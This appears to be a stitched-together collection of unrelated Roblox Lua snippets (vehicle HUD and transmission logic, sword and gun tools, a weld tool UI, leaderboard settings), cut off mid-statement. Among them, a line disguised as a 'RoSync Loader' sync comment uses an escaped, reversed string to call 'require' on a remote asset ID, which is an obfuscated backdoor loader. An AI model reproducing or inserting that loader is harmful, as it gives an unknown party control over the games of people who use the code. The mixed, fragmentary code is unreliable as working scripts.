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--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local revEnd = math.ceil(_lRPM/1000)
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
local maxSpeed = math.ceil(wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
local spInc = math.max(math.ceil(maxSpeed/200)*20,20)
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speed.Text = math.floor(script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " SPS"
end)
|
--[[Brakes]] |
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 1800 -- Front brake force
Tune.RBrakeForce = 2000 -- Rear brake force
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
|
--// JAFTERGAMERTV \\-- |
script.Parent.MouseButton1Click:connect(function() -- The function of when the Players Clicks.
if script.Parent.Parent.Box1.Visible == false then -- This tells wither it is open or not.
script.Parent.Text = " " -- Tells us that it is open.
script.Parent.Parent.Box1.Visible = true -- Makes the box visible.
else -- Otherwise
script.Parent.Text = "Account" -- Tells us that it is closed.
script.Parent.Parent.Box1.Visible = false -- Makes the box Invisible
end -- Ends the If statement.
end) -- Ends the function in general.
|
--Hand |
character.Constraint.ConstraintHand.Attachment1 = RHR
character.Constraint.ConstraintHand.Attachment0 = RHL
|
--Made by Luckymaxer |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create
DamageValues = {
BaseDamage = 20,
SlashDamage = 35,
}
Damage = DamageValues.BaseDamage
BaseUrl = "http://www.roblox.com/asset/?id="
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
Animations = {
LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
SideSwipe = {Animation = Tool:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
R15LeftSlash = {Animation = Tool:WaitForChild("R15LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15RightSlash = {Animation = Tool:WaitForChild("R15RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
R15SideSwipe = {Animation = Tool:WaitForChild("R15SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
}
Sounds = {
Unsheath = Handle:WaitForChild("Unsheath"),
Slash = Handle:WaitForChild("Slash"),
Lunge = Handle:WaitForChild("Lunge"),
}
ToolEquipped = false
ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
Name = "ServerControl",
Parent = Tool,
})
ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
Name = "ClientControl",
Parent = Tool,
})
Handle.Transparency = 0
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Create("ObjectValue"){
Name = "creator",
Value = player,
}
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function DealDamage(character, damage)
if not CheckIfAlive() or not character then
return
end
local damage = (damage or 0)
local humanoid = character:FindFirstChild("Humanoid")
local rootpart = character:FindFirstChild("HumanoidRootPart")
if not rootpart then
rootpart = character:FindFirstChild("Torso")
end
if not humanoid or humanoid.Health == 0 or not rootpart then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
if humanoid.Parent.Side.Value == "Enemy" then
humanoid:TakeDamage(damage)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end
function Blow(Part)
local PartTouched
local HitDelay = false
PartTouched = Part.Touched:connect(function(Hit)
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then
return
end
local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand"))
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChild("Humanoid")
local rootpart = (character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso"))
if not humanoid or humanoid.Health == 0 or not rootpart then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
HitDelay = true
local TotalDamage = Damage
DealDamage(character, TotalDamage)
wait(0.05)
HitDelay = false
end)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
--[[local Anim = Create("StringValue"){
Name = "toolanim",
Value = "Slash",
}
Debris:AddItem(Anim, 2)
Anim.Parent = Tool]]
local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.LeftSlash, Animations.RightSlash, Animations.SideSwipe})
or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe}))
local Animation = SwingAnimations[math.random(1, #SwingAnimations)]
Spawn(function()
InvokeClient("PlayAnimation", Animation)
end)
wait(Animation.Duration)
end
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
Attack()
Damage = DamageValues.BaseDamage
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false)
end
holdanim = nil
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
RootPart = Character:FindFirstChild("HumanoidRootPart")
holdanim = Humanoid:LoadAnimation(script.Parent.Hold)
if not CheckIfAlive() then
return
end
Sounds.Unsheath:Play()
holdanim:Play()
ToolEquipped = true
end
function Unequipped()
Humanoid.WalkSpeed = 16
ToolEquipped = false
holdanim:Stop()
end
function OnServerInvoke(player, mode, value)
if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
return
end
end
function InvokeClient(Mode, Value)
local ClientReturn = nil
pcall(function()
ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
end)
return ClientReturn
end
ServerControl.OnServerInvoke = OnServerInvoke
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
Blow(Handle)
|
---ex2--- |
script.Parent.Parent.ex2.exit1.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit2.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit3.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit4.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit5.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit6.SurfaceGui.TextLabel.TextTransparency = 1 |
--[[
Creates a Symbol with the given name.
When printed or coerced to a string, the symbol will turn into the string
given as its name.
]] |
function Symbol.named(name)
assert(type(name) == "string", "Symbols must be created using a string name!")
local self = newproxy(true)
local wrappedName = string.format("Symbol(%s)", name)
getmetatable(self).__tostring = function()
return wrappedName
end
return self
end
return Symbol
|
--[[ Last synced 3/9/2021 04:43 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--/Sight |
module.SightZoom = 5 -- Set to 0 if you want to use weapon's default zoom
module.SightZoom2 = 0 --Set this to alternative zoom or Aimpart2 Zoom
|
-- Container for temporary connections (disconnected automatically) |
local Connections = {};
function WeldTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
EnableFocusHighlighting();
end;
function WeldTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if UI then
-- Reveal the UI
UI.Visible = true;
-- Skip UI creation
return;
end;
-- Create the UI
UI = Core.Tool.Interfaces.BTWeldToolGUI:Clone();
UI.Parent = Core.UI;
UI.Visible = true;
-- Hook up the buttons
UI.Interface.WeldButton.MouseButton1Click:Connect(CreateWelds);
UI.Interface.BreakWeldsButton.MouseButton1Click:Connect(BreakWelds);
-- Hook up manual triggering
local SignatureButton = UI:WaitForChild('Title'):WaitForChild('Signature')
ListenForManualWindowTrigger(WeldTool.ManualText, WeldTool.Color.Color, SignatureButton)
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not UI then
return;
end;
-- Hide the UI
UI.Visible = false;
end;
|
--(continued from last line) The higher, the slower. The lower, the faster. Change the 0's to "math.pi/number." Make sure the number ISN'T 0. |
end --Ends the "while true do"
|
--made by Bertox
--lul |
script.Parent.Parent.Parent.Parent.Electrics.Changed:connect(function()
if script.Parent.Parent.Parent.Parent.Electrics.Value == true then
script.Parent.Material = Enum.Material.Neon
else
script.Parent.Material = Enum.Material.SmoothPlastic
end
end)
|
--local TEAM = Character:WaitForChild("TEAM") |
local VisualizeBullet = script.Parent:WaitForChild("VisualizeBullet")
local Module = require(Tool:WaitForChild("Setting"))
local GunScript_Server = Tool:WaitForChild("GunScript_Server")
local ChangeAmmoAndClip = GunScript_Server:WaitForChild("ChangeAmmoAndClip")
local InflictTarget = GunScript_Server:WaitForChild("InflictTarget")
local AmmoValue = GunScript_Server:WaitForChild("Ammo")
local ClipsValue = GunScript_Server:WaitForChild("Clips")
local GUI = script:WaitForChild("GunGUI")
local IdleAnim
local FireAnim
local ReloadAnim
local ShotgunClipinAnim
local Grip2
local Handle2
local HandleToFire = Handle
if Module.DualEnabled then
Handle2 = Tool:WaitForChild("Handle2",2)
if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end
end
local Equipped = false
local Enabled = true
local Down = false
local Reloading = false
local AimDown = false
local Ammo = AmmoValue.Value
local Clips = ClipsValue.Value
local MaxClip = Module.MaxClip
local PiercedHumanoid = {}
if Module.IdleAnimationID ~= nil or Module.DualEnabled then
IdleAnim = Tool:WaitForChild("IdleAnim")
IdleAnim = Humanoid:LoadAnimation(IdleAnim)
end
if Module.FireAnimationID ~= nil then
FireAnim = Tool:WaitForChild("FireAnim")
FireAnim = Humanoid:LoadAnimation(FireAnim)
end
if Module.ReloadAnimationID ~= nil then
ReloadAnim = Tool:WaitForChild("ReloadAnim")
ReloadAnim = Humanoid:LoadAnimation(ReloadAnim)
end
if Module.ShotgunClipinAnimationID ~= nil then
ShotgunClipinAnim = Tool:WaitForChild("ShotgunClipinAnim")
ShotgunClipinAnim = Humanoid:LoadAnimation(ShotgunClipinAnim)
end
function wait(TimeToWait)
if TimeToWait ~= nil then
local TotalTime = 0
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
while TotalTime < TimeToWait do
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
end
else
game:GetService("RunService").Heartbeat:wait()
end
end
function RayCast(Start,Direction,Range,Ignore)
local Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(Start,Direction*Range),Ignore)
if Hit then
if (Hit.Transparency > 0.75
or Hit.Name == "Handle"
or Hit.Name == "Effect"
or Hit.Name == "Bullet"
or Hit.Name == "Laser"
or string.lower(Hit.Name) == "water"
or Hit.Name == "Rail"
or Hit.Name == "Arrow"
or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent.Humanoid.Health == 0)
or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent:FindFirstChild("TEAM") and TEAM and Hit.Parent.TEAM.Value == TEAM.Value))
or (Hit.Parent:FindFirstChild("Humanoid") and PiercedHumanoid[Hit.Parent.Humanoid]) then
Hit,EndPos = RayCast(EndPos+(Direction*.01),Direction,Range-((Start-EndPos).magnitude),Ignore)
end
end
return Hit,EndPos
end
function ShakeCamera()
if Module.CameraShakingEnabled then
local Intensity = Module.Intensity/(AimDown and Module.MouseSensitive or 1)
for i = 1, 10 do
local cam_rot = Camera.CoordinateFrame - Camera.CoordinateFrame.p
local cam_scroll = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude
local ncf = CFrame.new(Camera.Focus.p)*cam_rot*CFrame.fromEulerAnglesXYZ((-Intensity+(math.random()*(Intensity*2)))/100, (-Intensity+(math.random()*(Intensity*2)))/100, 0)
Camera.CoordinateFrame = ncf*CFrame.new(0, 0, cam_scroll)
wait()
end
end
end
function Fire(ShootingHandle)
local PierceAvailable = Module.Piercing
PiercedHumanoid = {}
if FireAnim then FireAnim:Play(nil,nil,Module.FireAnimationSpeed) end
if not ShootingHandle.FireSound.Playing or not ShootingHandle.FireSound.Looped then ShootingHandle.FireSound:Play() script.Parent.Model.casing:FireServer() end
local Start = (Humanoid.Torso.CFrame * CFrame.new(0,1.5,0)).p--(Handle.CFrame * CFrame.new(Module.MuzzleOffset.X,Module.MuzzleOffset.Y,Module.MuzzleOffset.Z)).p
local Spread = Module.Spread*(AimDown and 1-Module.SpreadRedution or 1)
local Direction = (CFrame.new(Start,Mouse.Hit.p) * CFrame.Angles(math.rad(-Spread+(math.random()*(Spread*2))),math.rad(-Spread+(math.random()*(Spread*2))),0)).lookVector
while PierceAvailable >= 0 do
local Hit,EndPos = RayCast(Start,Direction,5000,Character)
if not Module.ExplosiveEnabled then
if Hit and Hit.Parent then
local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
local TargetTorso = Hit.Parent:FindFirstChild("Humanoid")
--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
InflictTarget:FireServer(TargetHumanoid,
TargetTorso,
(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
Direction,
Module.Knockback,
Module.Lifesteal,
Module.FlamingBullet)
PiercedHumanoid[TargetHumanoid] = true
--end
else
PierceAvailable = 0
end
end
else
local Explosion = Instance.new("Explosion")
Explosion.BlastRadius = Module.Radius
Explosion.BlastPressure = 0
Explosion.Position = EndPos
Explosion.Parent = Workspace.CurrentCamera
Explosion.Hit:connect(function(Hit)
if Hit and Hit.Parent and Hit.Name == "Torso" then
local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
local TargetTorso = Hit.Parent:FindFirstChild("Torso")
--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
InflictTarget:FireServer(TargetHumanoid,
TargetTorso,
(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
Direction,
Module.Knockback,
Module.Lifesteal,
Module.FlamingBullet)
--end
end
end
end)
PierceAvailable = 0
end
PierceAvailable = Hit and (PierceAvailable - 1) or -1
script.Parent.BulletVisualizerScript.Visualize:Fire(nil,ShootingHandle,
Module.MuzzleOffset,
EndPos,
script.MuzzleEffect,
script.HitEffect,
Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
false,
PierceAvailable == -1 and Module.VisualizerEnabled or false)
script.Parent.VisualizeBullet:FireServer(ShootingHandle,
Module.MuzzleOffset,
EndPos,
script.MuzzleEffect,
script.HitEffect,
Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
true,
PierceAvailable == -1 and Module.VisualizerEnabled or false)
Start = EndPos + (Direction*0.01)
end
end
function Reload()
if Enabled and not Reloading and (Clips > 0 or not Module.LimitedClipEnabled) and Ammo < Module.AmmoPerClip then
Reloading = true
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
UpdateGUI()
if Module.ShotgunReload then
for i = 1,(Module.AmmoPerClip - Ammo) do
if ShotgunClipinAnim then ShotgunClipinAnim:Play(nil,nil,Module.ShotgunClipinAnimationSpeed) end
Handle.ShotgunClipin:Play()
wait(Module.ShellClipinSpeed)
end
end
if ReloadAnim then ReloadAnim:Play(nil,nil,Module.ReloadAnimationSpeed) end
Handle.ReloadSound:Play() script.Parent.Model.reload:FireServer()
wait(Module.ReloadTime)
if Module.LimitedClipEnabled then Clips = Clips - 1 end
Ammo = Module.AmmoPerClip
ChangeAmmoAndClip:FireServer(Ammo,Clips)
Reloading = false
UpdateGUI()
end
end
function UpdateGUI()
GUI.Frame.Ammo.Fill:TweenSizeAndPosition(UDim2.new(Ammo/Module.AmmoPerClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
GUI.Frame.Clips.Fill:TweenSizeAndPosition(UDim2.new(Clips/Module.MaxClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
GUI.Frame.Ammo.Current.Text = Ammo
GUI.Frame.Ammo.Max.Text = Module.AmmoPerClip
GUI.Frame.Clips.Current.Text = Clips
GUI.Frame.Clips.Max.Text = Module.MaxClip
GUI.Frame.Ammo.Current.Visible = not Reloading
GUI.Frame.Ammo.Max.Visible = not Reloading
GUI.Frame.Ammo.Frame.Visible = not Reloading
GUI.Frame.Ammo.Reloading.Visible = Reloading
GUI.Frame.Clips.Current.Visible = not (Clips <= 0)
GUI.Frame.Clips.Max.Visible = not (Clips <= 0)
GUI.Frame.Clips.Frame.Visible = not (Clips <= 0)
GUI.Frame.Clips.NoMoreClip.Visible = (Clips <= 0)
GUI.Frame.Clips.Visible = Module.LimitedClipEnabled
GUI.Frame.Size = Module.LimitedClipEnabled and UDim2.new(0,250,0,100) or UDim2.new(0,250,0,55)
GUI.Frame.Position = Module.LimitedClipEnabled and UDim2.new(1,-260,1,-110)or UDim2.new(1,-260,1,-65)
end
Mouse.Button1Down:connect(function()
Down = true
local IsChargedShot = false
if Equipped and Enabled and Down and not Reloading and Ammo > 0 and Humanoid.Health > 0 then
Enabled = false
if Module.ChargedShotEnabled then
if HandleToFire:FindFirstChild("ChargeSound") then HandleToFire.ChargeSound:Play() end
wait(Module.ChargingTime)
IsChargedShot = true
end
if Module.MinigunEnabled then
if HandleToFire:FindFirstChild("WindUp") then HandleToFire.WindUp:Play() end
wait(Module.DelayBeforeFiring)
end
while Equipped and not Reloading and (Down or IsChargedShot) and Ammo > 0 and Humanoid.Health > 0 do
IsChargedShot = false
for i = 1,(Module.BurstFireEnabled and Module.BulletPerBurst or 1) do
Spawn(ShakeCamera)
for x = 1,(Module.ShotgunEnabled and Module.BulletPerShot or 1) do
Fire(HandleToFire)
end
Ammo = Ammo - 1
ChangeAmmoAndClip:FireServer(Ammo,Clips)
UpdateGUI()
if Module.BurstFireEnabled then wait(Module.BurstRate) end
if Ammo <= 0 then break end
end
HandleToFire = (HandleToFire == Handle and Module.DualEnabled) and Handle2 or Handle
wait(Module.FireRate)
if not Module.Auto then break end
end
if HandleToFire.FireSound.Playing and HandleToFire.FireSound.Looped then HandleToFire.FireSound:Stop() end
if Module.MinigunEnabled then
if HandleToFire:FindFirstChild("WindDown") then HandleToFire.WindDown:Play() end
wait(Module.DelayAfterFiring)
end
Enabled = true
if Ammo <= 0 then Reload() end
end
end)
Mouse.Button1Up:connect(function()
Down = false
end)
ChangeAmmoAndClip.OnClientEvent:connect(function(ChangedAmmo,ChangedClips)
Ammo = ChangedAmmo
Clips = ChangedClips
UpdateGUI()
end)
Tool.Equipped:connect(function(TempMouse)
Equipped = true
UpdateGUI()
if Module.AmmoPerClip ~= math.huge then GUI.Parent = Player.PlayerGui end
TempMouse.Icon = "rbxassetid://"..Module.MouseIconID
if IdleAnim then IdleAnim:Play(nil,nil,Module.IdleAnimationSpeed) end
TempMouse.KeyDown:connect(function(Key)
if string.lower(Key) == "r" then
Reload()
elseif string.lower(Key) == "e" then
if not Reloading and AimDown == false and Module.SniperEnabled then
Workspace.CurrentCamera.FieldOfView = Module.FieldOfView
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone()
GUI.Parent = game.Players.LocalPlayer.PlayerGui]]
GUI.Scope.Visible = true
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
script["Mouse Sensitivity"].Disabled = false
AimDown = true
Mouse.Icon="http://www.roblox.com/asset?id=187746799"
else
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
end
end)
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = false
local LeftArm = Tool.Parent:FindFirstChild("Left Arm")
local RightArm = Tool.Parent:FindFirstChild("Right Arm")
if RightArm then
local Grip = RightArm:WaitForChild("RightGrip",0.01)
if Grip then
Grip2 = Grip:Clone()
Grip2.Name = "LeftGrip"
Grip2.Part0 = LeftArm
Grip2.Part1 = Handle2
--Grip2.C1 = Grip2.C1:inverse()
Grip2.Parent = LeftArm
end
end
end
end)
Tool.Unequipped:connect(function()
Equipped = false
GUI.Parent = script
if IdleAnim then IdleAnim:Stop() end
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then Grip2:Destroy() end
end
end)
Humanoid.Died:connect(function()
Equipped = false
GUI.Parent = script
if IdleAnim then IdleAnim:Stop() end
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then Grip2:Destroy() end
end
end)
|
-- [ SETTINGS ] -- |
local statsName = "Diamonds" -- Your stats name
local maxItems = 15 -- Max number of items to be displayed on the leaderboard
local minValueDisplay = 1 -- Any numbers lower than this will be excluded
local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local abbreviateValue = false -- The displayed number gets abbreviated to make it "human readable"
local updateEvery = 60 -- (in seconds) How often the leaderboard has to update
local headingColor = Color3.fromRGB(24, 223, 254) -- The background color of the heading
|
------------------------- |
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, 2, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
--{HPattern, Automatic, DualClutch, CVT} |
tri = script.Trigger
if script.Parent.Functions.ShiftUpRequested.Value == true then
script.RPMManagement.Disabled = false
FL.MotorMaxTorque = 0
FR.MotorMaxTorque = 0
RL.MotorMaxTorque = 0
RR.MotorMaxTorque = 0
if script.Parent.Storage.TransmissionType.Value == "HPattern" then
end
if script.Parent.Storage.TransmissionType.Value == "Automatic" then
rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value))
end
if script.Parent.Storage.TransmissionType.Value == "DualClutch" then
rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value))
end
if script.Parent.Storage.TransmissionType.Value == "CVT" then
end
end
if carSeat.Storage.Handbrake.Value == true then
FL.MotorMaxTorque = 0
FR.MotorMaxTorque = 0
end
if currentgear.Value == 1 then
